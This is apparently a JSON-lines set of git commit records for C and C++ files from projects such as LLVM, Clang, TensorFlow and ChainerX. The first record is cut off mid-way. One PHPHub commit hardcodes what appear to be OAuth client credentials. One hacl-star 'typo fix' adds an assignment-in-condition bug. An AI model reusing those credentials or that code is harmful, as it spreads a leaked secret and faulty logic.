(atomic_number - 54)) + ((atomic_number > 80) ? (atomic_number - 80) : 0)\n  unsigned int x = 86;\n  printf(\"%d\\n\", (((x - 54) > 2) ? 2 : (x - 54)));\n  printf(\"%d\\n\", ((x > 80) ? (x - 80) : 0));\n  printf(\"%d\\n\", (((x - 54) > 2) ? 2 : (x - 54)) + ((x > 80) ? (x - 80) : 0));\n\n  return 1;\n}\n","subject":"Test level 6 with a variable instead of a constant","message":"Test level 6 with a variable instead of a constant\n","lang":"C","license":"mit","repos":"LEGOAnimal22\/periodictable_c"}
{"commit":"6db3612cc602b2bfada53d2057038b660523a3eb","old_file":"test\/FrontendC\/union-align.c","new_file":"test\/FrontendC\/union-align.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep load | grep \"4 x float\" | not grep \"align 4\"\n\/\/ RUN: %llvmgcc -S %s -o - | grep load | grep \"4 x float\" | grep \"align 16\"\n\/\/ PR3432\n\/\/ rdar:\/\/6536377\n\ntypedef float __m128 __attribute__ ((__vector_size__ (16)));\n\ntypedef union\n{\n  int i[4];\n  float f[4];\n  __m128 v;\n} u_t;\n\n__m128 t(u_t *a) {\n  return a->v;\n}\n","subject":"Add a test case for Chris lvalue alignment fixes.","message":"Add a test case for Chris lvalue alignment fixes.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@63300 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"6687386cf8f94e1d5756fdbb711f8110df15d1ed","old_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/object\/creset.c","new_file":"mudlib\/mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/object\/creset.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/paths\/verb.h>\n\ninherit LIB_VERB;\n\nstring *query_parse_methods()\n{\n\treturn ({ \"raw\" });\n}\n\nvoid main(object actor, mapping roles)\n{\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 3) {\n\t\tsend_out(\"You do not have sufficient access rights to reset the clone manager.\\n\");\n\t\treturn;\n\t}\n\n\tCLONED->discover_clones();\n}\n","subject":"Add command to separately reset the clone manager","message":"Add command to separately reset the clone manager\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"7324e8bde72b1dd62105d735a0eea98e804f446b","old_file":"specs\/lib\/c\/Spec_Lib_Print.c","new_file":"specs\/lib\/c\/Spec_Lib_Print.c","old_contents":"#include \"stdint.h\"\n#include \"stdio.h\"\n#include \"Spec_Lib_Print.h\"\n\nvoid Spec_Lib_Print_print_bytes(uint32_t len, uint8_t* buffer) {\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer[i]);\n  }\n  printf(\"\\n\");\n}\n\nvoid Spec_Lib_Print_print_compare(uint32_t len, uint8_t* buffer1, uint8_t* buffer2) {\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer1[i]);\n  }\n  printf(\"\\n\");\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer2[i]);\n  }\n  printf(\"\\n\");\n}\n\nvoid Spec_Lib_Print_print_compare_display(uint32_t len, uint8_t* buffer1, uint8_t* buffer2) {\n  Spec_Lib_Print_print_compare(len, buffer1, buffer2);\n  int res = 1;\n  for (int i = 0; i < len; i++) {\n    res |= buffer1[i] ^ buffer2[i];\n  }\n  if (res) {\n    printf(\"Success !\\n\");\n  } else {\n    printf(\"Failure !\\n\");\n  }\n  printf(\"\\n\");\n}\n\n","new_contents":"#include \"stdint.h\"\n#include \"stdio.h\"\n#include \"Spec_Lib_Print.h\"\n\nvoid Spec_Lib_Print_print_bytes(uint32_t len, uint8_t* buffer) {\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer[i]);\n  }\n  printf(\"\\n\");\n}\n\nvoid Spec_Lib_Print_print_compare(uint32_t len, uint8_t* buffer1, uint8_t* buffer2) {\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer1[i]);\n  }\n  printf(\"\\n\");\n  for (int i = 0; i < len; i++){\n    printf(\"%02x \", buffer2[i]);\n  }\n  printf(\"\\n\");\n}\n\nvoid Spec_Lib_Print_print_compare_display(uint32_t len, uint8_t* buffer1, uint8_t* buffer2) {\n  Spec_Lib_Print_print_compare(len, buffer1, buffer2);\n  int res = 0;\n  for (int i = 0; i < len; i++) {\n    res |= buffer1[i] ^ buffer2[i];\n  }\n  if (res = 0) {\n    printf(\"Success !\\n\");\n  } else {\n    printf(\"Failure !\\n\");\n  }\n  printf(\"\\n\");\n}\n\n","subject":"Fix typo in the Print_compare_and_display function","message":"Fix typo in the Print_compare_and_display function\n","lang":"C","license":"apache-2.0","repos":"mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star"}
{"commit":"8b7a83c43dbf77d5266c9da483a9e1e3b9cb1e31","old_file":"PHPHub\/Constants\/SecretConstant.example.h","new_file":"PHPHub\/Constants\/SecretConstant.example.h","old_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define Client_id       @\"Get the client id from server\"\n#define Client_secret   @\"Get the client secret from server\"\n#define UMENG_APPKEY    @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID     @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID       @\"Set up weixin app id\"\n#define WX_APP_SECRET   @\"Set up weixin app secret\"\n#define TRACKING_ID     @\"Set up google anlytics tracking id\"","new_contents":"\/\/\n\/\/  SecretConstant.example.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define Client_id       @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret   @\"PuuFCrF94MloSbSkxpwS\"\n#define UMENG_APPKEY    @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID     @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID       @\"Set up weixin app id\"\n#define WX_APP_SECRET   @\"Set up weixin app secret\"\n#define TRACKING_ID     @\"Set up google anlytics tracking id\"","subject":"Change client id and client secret default value","message":"Change client id and client secret default value\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"6562bb5c59335458afc804997116ba8c432c0785","old_file":"CompilationDatabaseMagic.h","new_file":"CompilationDatabaseMagic.h","old_contents":"\/\/ __COMPDB_ENTRY: The contents of this compilation database entry.\n\/\/ Should be a string literal.\n\/\/ __COMPDB_SYMNAME: ATM I can't think of a way to generate a unique symbol\n\/\/ name, so just force the TU to provide it.\n__attribute__((section(\".llvm.compdb\")))\nextern const char __COMPDB_SYMNAME[] = \"<<<COMPDB:\" __COMPDB_ENTRY \">>>\";\n","new_contents":"\/\/ The following macros should be defined on entry to this file:\n\/\/ __COMPDB_ENTRY:\n\/\/   The contents of this compilation database entry.  Should be a string\n\/\/   literal.\n\/\/ __COMPDB_SYMNAME:\n\/\/   ATM I can't think of a way to generate a unique symbol name, so just\n\/\/   force it to be passed in.\n__attribute__((section(\".llvm.compdb\")))\nextern const char __COMPDB_SYMNAME[] = \"<<<COMPDB:\" __COMPDB_ENTRY \">>>\";\n","subject":"Make this file a bit prettier.","message":"Make this file a bit prettier.\n","lang":"C","license":"mit","repos":"chisophugis\/clang-compdb-in-object-file,chisophugis\/clang-compdb-in-object-file"}
{"commit":"1cd869313d2d54aadf44d1958e5a987dee0f1a90","old_file":"chainerx_cc\/chainerx\/kernels\/hyperbolic.h","new_file":"chainerx_cc\/chainerx\/kernels\/hyperbolic.h","old_contents":"#pragma once\n\n#include \"chainerx\/array.h\"\n#include \"chainerx\/kernel.h\"\n\nnamespace chainerx {\n\nclass SinhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Sinh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass CoshKernel : public Kernel {\npublic:\n    static const char* name() { return \"Cosh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass TanhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Tanh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass ArcsinhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Archsinh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass ArccoshKernel : public Kernel {\npublic:\n    static const char* name() { return \"Arccosh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\n}  \/\/ namespace chainerx\n","new_contents":"#pragma once\n\n#include \"chainerx\/array.h\"\n#include \"chainerx\/kernel.h\"\n\nnamespace chainerx {\n\nclass SinhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Sinh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass CoshKernel : public Kernel {\npublic:\n    static const char* name() { return \"Cosh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass TanhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Tanh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass ArcsinhKernel : public Kernel {\npublic:\n    static const char* name() { return \"Arcsinh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\nclass ArccoshKernel : public Kernel {\npublic:\n    static const char* name() { return \"Arccosh\"; }\n\n    virtual void Call(const Array& x, const Array& out) = 0;\n};\n\n}  \/\/ namespace chainerx\n","subject":"Fix a typo in a kernel name","message":"Fix a typo in a kernel name\n","lang":"C","license":"mit","repos":"pfnet\/chainer,wkentaro\/chainer,chainer\/chainer,chainer\/chainer,chainer\/chainer,niboshi\/chainer,chainer\/chainer,niboshi\/chainer,wkentaro\/chainer,hvy\/chainer,wkentaro\/chainer,hvy\/chainer,niboshi\/chainer,hvy\/chainer,hvy\/chainer,niboshi\/chainer,wkentaro\/chainer"}
{"commit":"1d92358eaf7731d75c9feff2a00dbae51abd6893","old_file":"src\/refract\/ElementInserter.h","new_file":"src\/refract\/ElementInserter.h","old_contents":"\/\/\n\/\/  refract\/ElementInserter.h\n\/\/  librefract\n\/\/\n\/\/  Created by Jiri Kratochvil on 17\/06\/15.\n\/\/  Copyright (c) 2015 Apiary Inc. All rights reserved.\n\/\/\n#ifndef REFRACT_ELEMENTINSERTER_H\n#define REFRACT_ELEMENTINSERTER_H\n\n#include <iterator>\n\nnamespace refract\n{\n\n    \/\/ Forward declarations of Elements\n    struct IElement;\n\n    template <typename T>\n    struct ElementInsertIterator : public std::iterator<std::output_iterator_tag, void, void, void, void> {\n        T& element;\n        ElementInsertIterator(T& element) : element(element) {}\n\n        ElementInsertIterator& operator=(refract::IElement* e) {\n            element.push_back(e);\n            return *this;\n        }\n\n        ElementInsertIterator& operator++() {\n            return *this;\n        }\n\n        ElementInsertIterator& operator*() {\n            return *this;\n        }\n        \n    };\n\n    template <typename T>\n    ElementInsertIterator<T> ElementInserter(T& element) {\n        return ElementInsertIterator<T>(element);\n    }\n\n}; \/\/ namespace refract\n\n#endif \/\/ #ifndef REFRACT_ELEMENTINSERTER_H\n","new_contents":"\/\/\n\/\/  refract\/ElementInserter.h\n\/\/  librefract\n\/\/\n\/\/  Created by Jiri Kratochvil on 17\/06\/15.\n\/\/  Copyright (c) 2015 Apiary Inc. All rights reserved.\n\/\/\n#ifndef REFRACT_ELEMENTINSERTER_H\n#define REFRACT_ELEMENTINSERTER_H\n\n#include <iterator>\n\nnamespace refract\n{\n\n    \/\/ Forward declarations of Elements\n    struct IElement;\n\n    template <typename T>\n    struct ElementInsertIterator : public std::iterator<std::output_iterator_tag, void, void, void, void> {\n        T& element;\n\n        ElementInsertIterator(T& element) : element(element) {}\n\n        ElementInsertIterator(const ElementInsertIterator& other) : element(other.element) {}\n\n        ElementInsertIterator& operator=(const ElementInsertIterator& other) {\n            element = other.element;\n            return *this;\n        }\n\n        ElementInsertIterator& operator=(refract::IElement* e) {\n            element.push_back(e);\n            return *this;\n        }\n\n        ElementInsertIterator& operator=(const refract::IElement* e) {\n            element.push_back(e);\n            return *this;\n        }\n\n        ElementInsertIterator& operator++() {\n            return *this;\n        }\n\n        ElementInsertIterator& operator*() {\n            return *this;\n        }\n        \n    };\n\n    template <typename T>\n    ElementInsertIterator<T> ElementInserter(T& element) {\n        return ElementInsertIterator<T>(element);\n    }\n\n}; \/\/ namespace refract\n\n#endif \/\/ #ifndef REFRACT_ELEMENTINSERTER_H\n","subject":"Add copy c-tor and assign operator to ElementInsertIterator","message":"Add copy c-tor and assign operator to ElementInsertIterator\n","lang":"C","license":"mit","repos":"apiaryio\/drafter,apiaryio\/drafter,apiaryio\/drafter,apiaryio\/drafter,apiaryio\/drafter"}
{"commit":"7cdd88eb941503af0aec0924df41f0adc69a3854","old_file":"tensorflow\/core\/platform\/threadpool_options.h","new_file":"tensorflow\/core\/platform\/threadpool_options.h","old_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n#define TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n\n#include \"tensorflow\/core\/platform\/threadpool_interface.h\"\n\nnamespace tensorflow {\nnamespace thread {\n\nstruct ThreadPoolOptions {\n  \/\/ If not null, use this threadpool to schedule inter-op operation\n  thread::ThreadPoolInterface* inter_op_threadpool;\n\n  \/\/ If not null, use this threadpool to schedule intra-op operation\n  thread::ThreadPoolInterface* intra_op_threadpool;\n};\n\n}  \/\/ namespace thread\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n","new_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n#define TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n\n#include \"tensorflow\/core\/platform\/threadpool_interface.h\"\n\nnamespace tensorflow {\nnamespace thread {\n\nstruct ThreadPoolOptions {\n  \/\/ If not null, use this threadpool to schedule inter-op operation\n  thread::ThreadPoolInterface* inter_op_threadpool = nullptr;\n\n  \/\/ If not null, use this threadpool to schedule intra-op operation\n  thread::ThreadPoolInterface* intra_op_threadpool = nullptr;\n};\n\n}  \/\/ namespace thread\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_THREADPOOL_OPTIONS_H_\n","subject":"Initialize the inter and intra-op thread pool pointers in ThreadPoolOptions to nullptr. Otherwise, they may have arbitrary values.","message":"Initialize the inter and intra-op thread pool pointers in ThreadPoolOptions to nullptr. Otherwise, they may have arbitrary values.\n\nPiperOrigin-RevId: 294833933\nChange-Id: I95ff98f6a7fe308c59f1c8bf7e1b25f4c68223dc\n","lang":"C","license":"apache-2.0","repos":"Intel-tensorflow\/tensorflow,karllessard\/tensorflow,xzturn\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,renyi533\/tensorflow,aldian\/tensorflow,aldian\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,paolodedios\/tensorflow,petewarden\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,gunan\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,sarvex\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,annarev\/tensorflow,xzturn\/tensorflow,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,cxxgtxy\/tensorflow,gunan\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,aam-at\/tensorflow,renyi533\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-Corporation\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,xzturn\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,paolodedios\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,cxxgtxy\/tensorflow,Intel-tensorflow\/tensorflow,freedomtan\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,aldian\/tensorflow,yongtang\/tensorflow,xzturn\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,renyi533\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,xzturn\/tensorflow,xzturn\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,aam-at\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,renyi533\/tensorflow,sarvex\/tensorflow,gunan\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,aam-at\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,cxxgtxy\/tensorflow,aldian\/tensorflow,xzturn\/tensorflow,xzturn\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,gunan\/tensorflow"}
{"commit":"88f1ce548a1e06c1d40dea57346dcd654f718fb7","old_file":"test\/Profile\/c-linkage-available_externally.c","new_file":"test\/Profile\/c-linkage-available_externally.c","old_contents":"\/\/ Make sure instrumentation data from available_externally functions doesn't\n\/\/ get thrown out and are emitted with the expected linkage.\n\/\/ RUN: %clang_cc1 -O2 -triple x86_64-apple-macosx10.9 -main-file-name c-linkage-available_externally.c %s -o - -emit-llvm -fprofile-instrument=clang | FileCheck %s\n\n\/\/ CHECK: @__profc_foo = linkonce_odr hidden global [1 x i64] zeroinitializer, section \"__DATA,__llvm_prf_cnts\", align 8\n\/\/ CHECK: @__profd_foo = linkonce_odr hidden global {{.*}} i64* getelementptr inbounds ([1 x i64], [1 x i64]* @__profc_foo, i32 0, i32 0){{.*}}, section \"__DATA,__llvm_prf_data\", align 8\ninline int foo(void) { return 1; }\n\nint main(void) {\n  return foo();\n}\n","new_contents":"\/\/ Make sure instrumentation data from available_externally functions doesn't\n\/\/ get thrown out and are emitted with the expected linkage.\n\/\/ RUN: %clang_cc1 -O2 -triple x86_64-apple-macosx10.9 -main-file-name c-linkage-available_externally.c %s -o - -emit-llvm -fprofile-instrument=clang | FileCheck %s\n\n\/\/ CHECK: @__profc_foo = linkonce_odr hidden global [1 x i64] zeroinitializer, section \"__DATA,__llvm_prf_cnts\", align 8\n\/\/ CHECK: @__profd_foo = linkonce_odr hidden global {{.*}} i64* getelementptr inbounds ([1 x i64], [1 x i64]* @__profc_foo, i32 0, i32 0){{.*}}, section \"__DATA,__llvm_prf_data,regular,live_support\", align 8\ninline int foo(void) { return 1; }\n\nint main(void) {\n  return foo();\n}\n","subject":"Update testcase for r283948 (NFC)","message":"[Profile] Update testcase for r283948 (NFC)\n\nOld: \"__DATA,__llvm_prf_data\"\nNew: \"__DATA,__llvm_prf_data,regular,live_support\"\n\nThis should fix the following bot failure:\n\n  http:\/\/bb.pgr.jp\/builders\/cmake-clang-x86_64-linux\/builds\/55158\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@283949 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"f2fcf1b8a6fb9bd925ce1b8781e890ee5de5d2db","old_file":"test\/PCH\/single-token-macro.c","new_file":"test\/PCH\/single-token-macro.c","old_contents":"\/\/ rdar:\/\/10588825\n\n\/\/ Test this without pch.\n\/\/ RUN: %clang_cc1 %s -include %s -verify -fsyntax-only\n\n\/\/ Test with pch.\n\/\/ RUN: %clang_cc1 %s -emit-pch -o %t\n\/\/ RUN: %clang_cc1 %s -include-pch %t -verify -fsyntax-only\n\n#ifndef HEADER\n#define HEADER\n\n#define SKATA\n\n#define __stdcall\n#define STDCALL __stdcall\n\nvoid STDCALL Foo(void);\n\n#else\n\nvoid STDCALL Foo(void)\n{\n}\n\n#endif\n","new_contents":"\/\/ rdar:\/\/10588825\n\n\/\/ Test this without pch.\n\/\/ RUN: %clang_cc1 %s -include %s -verify -fsyntax-only\n\n\/\/ Test with pch.\n\/\/ RUN: %clang_cc1 %s -emit-pch -o %t\n\/\/ RUN: %clang_cc1 %s -include-pch %t -verify -fsyntax-only\n\n#ifndef HEADER\n#define HEADER\n\n#define __stdcall\n#define STDCALL __stdcall\n\nvoid STDCALL Foo(void);\n\n#else\n\nvoid STDCALL Foo(void)\n{\n}\n\n#endif\n","subject":"Remove extraneous line in the test that was mistakenly copied.","message":"[PCH] Remove extraneous line in the test that was mistakenly copied.\n\nNo functionality change.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@146825 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
